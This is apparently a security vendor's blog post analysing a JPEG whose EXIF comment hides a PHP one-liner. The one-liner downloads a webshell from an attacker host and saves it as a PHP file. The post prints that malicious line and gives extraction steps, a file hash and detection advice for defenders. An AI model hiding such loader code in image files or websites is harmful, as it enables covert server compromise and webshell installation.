Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More

Trustwave and Cybereason Merge to Form Global MDR Powerhouse for Unparalleled Cybersecurity Value. Learn More

Services
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

Database Security

Prevent unauthorized access and exceed compliance requirements.

Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Microsoft Security
Unlock the full power of Microsoft Security
Offensive Security
Solutions to maximize your security ROI
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats

Hiding PHP Code in Image Files Revisited

Over five years ago, we published a blog detailing how a webshell’s backdoor code was hidden in an image file. With this method, an attacker inserts PHP backdoor code in the meta-data headers of an image to circumvent detection. Though not entirely a new tactic at that time, fast forward five years and we continue to encounter this type of attack. This blog outlines another similar case we recently uncovered. We are highlighting the topic again to raise awareness, as well as showing another technique the attacker utilizes to deliver a webshell to the compromised system.

This following JPG image is seemingly benign.

Zap

However, taking a closer look at the JPG binary in hex viewer, we can see that there is something fishy going on here:

Jpg_hex

PHP code is clearly visible and is actually part of the JPG file’s EXIF header. EXIF  or Exchangeable image format is a standard that specifies the formats for images, sound, ancillary tags used by digital cameras, scanners and other devices. We can use PHP’s inbuilt exif_read_data() function to extract that image EXIF metadata.

php > $exif = exif_read_data(__DIR__.'/98f4d81cb7c00202522a256c5144218435ce07536608192a7a5103bb8e03ebfa'); // read the jpeg sample's exif header

When printing the EXIF header, we can expose the entire EXIF header. The malicious PHP script is stored in the comment section of the EXIF header. 

php > print_r($exif); // print the exif header
Array
(
    [FileName] => 98f4d81cb7c00202522a256c5144218435ce07536608192a7a5103bb8e03ebfa
    [FileDateTime] => 1554614278
    [FileSize] => 33903
    [FileType] => 2
    [MimeType] => image/jpeg
    [SectionsFound] => COMMENT
    [COMPUTED] => Array
        (
            [html] => width="180" height="198"
            [Height] => 198
            [Width] => 180
            [IsColor] => 1
        )

    [COMMENT] => Array
        (
            [0] => <?php ob_clean(); system("lynx -source > r57.php"); die(); ?>
        )

)

And we will be able to read this comment section by reading the comment array:

php > print_r($exif[COMMENT][0]);
<?php ob_clean(); system("lynx -source > r57.php"); die(); ?>

This script downloads a text file from the attacker's host and saves it with a .php file extension in the compromised system.

At the time of this writing, the host is unreachable.

Wget

But based on the filename, this could be the r57 webshell

Unlike our previous blog, the attacker didn’t stash the entire webshell in the header but utilized a staging method by downloading the webshell from an external host. This is probably to make it less conspicuous and to make the file size smaller.

Screen grab of the webshell:

Webshell

It seems that c0debank.altervista.org was used to host a webpage that sells Banking trojan that targets Brazilian bank. Here's a web archive link:  

http://web.archive.org/web/20080929215714/http://c0debank.altervista.org/

Summary:

Image formats such as JPEG can seemingly be unharmful and many filters and gateways let this file format pass without too much scrutiny. Based on this premise, attackers leverage this file format to hide malicious code. Scanning for PHP tags in image files can certainly help to detect and block this type of attack.

IOCs:

Image file:
SHA256: 98F4D81CB7C00202522A256C5144218435CE07536608192A7A5103BB8E03EBFA

ABOUT TRUSTWAVE

Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo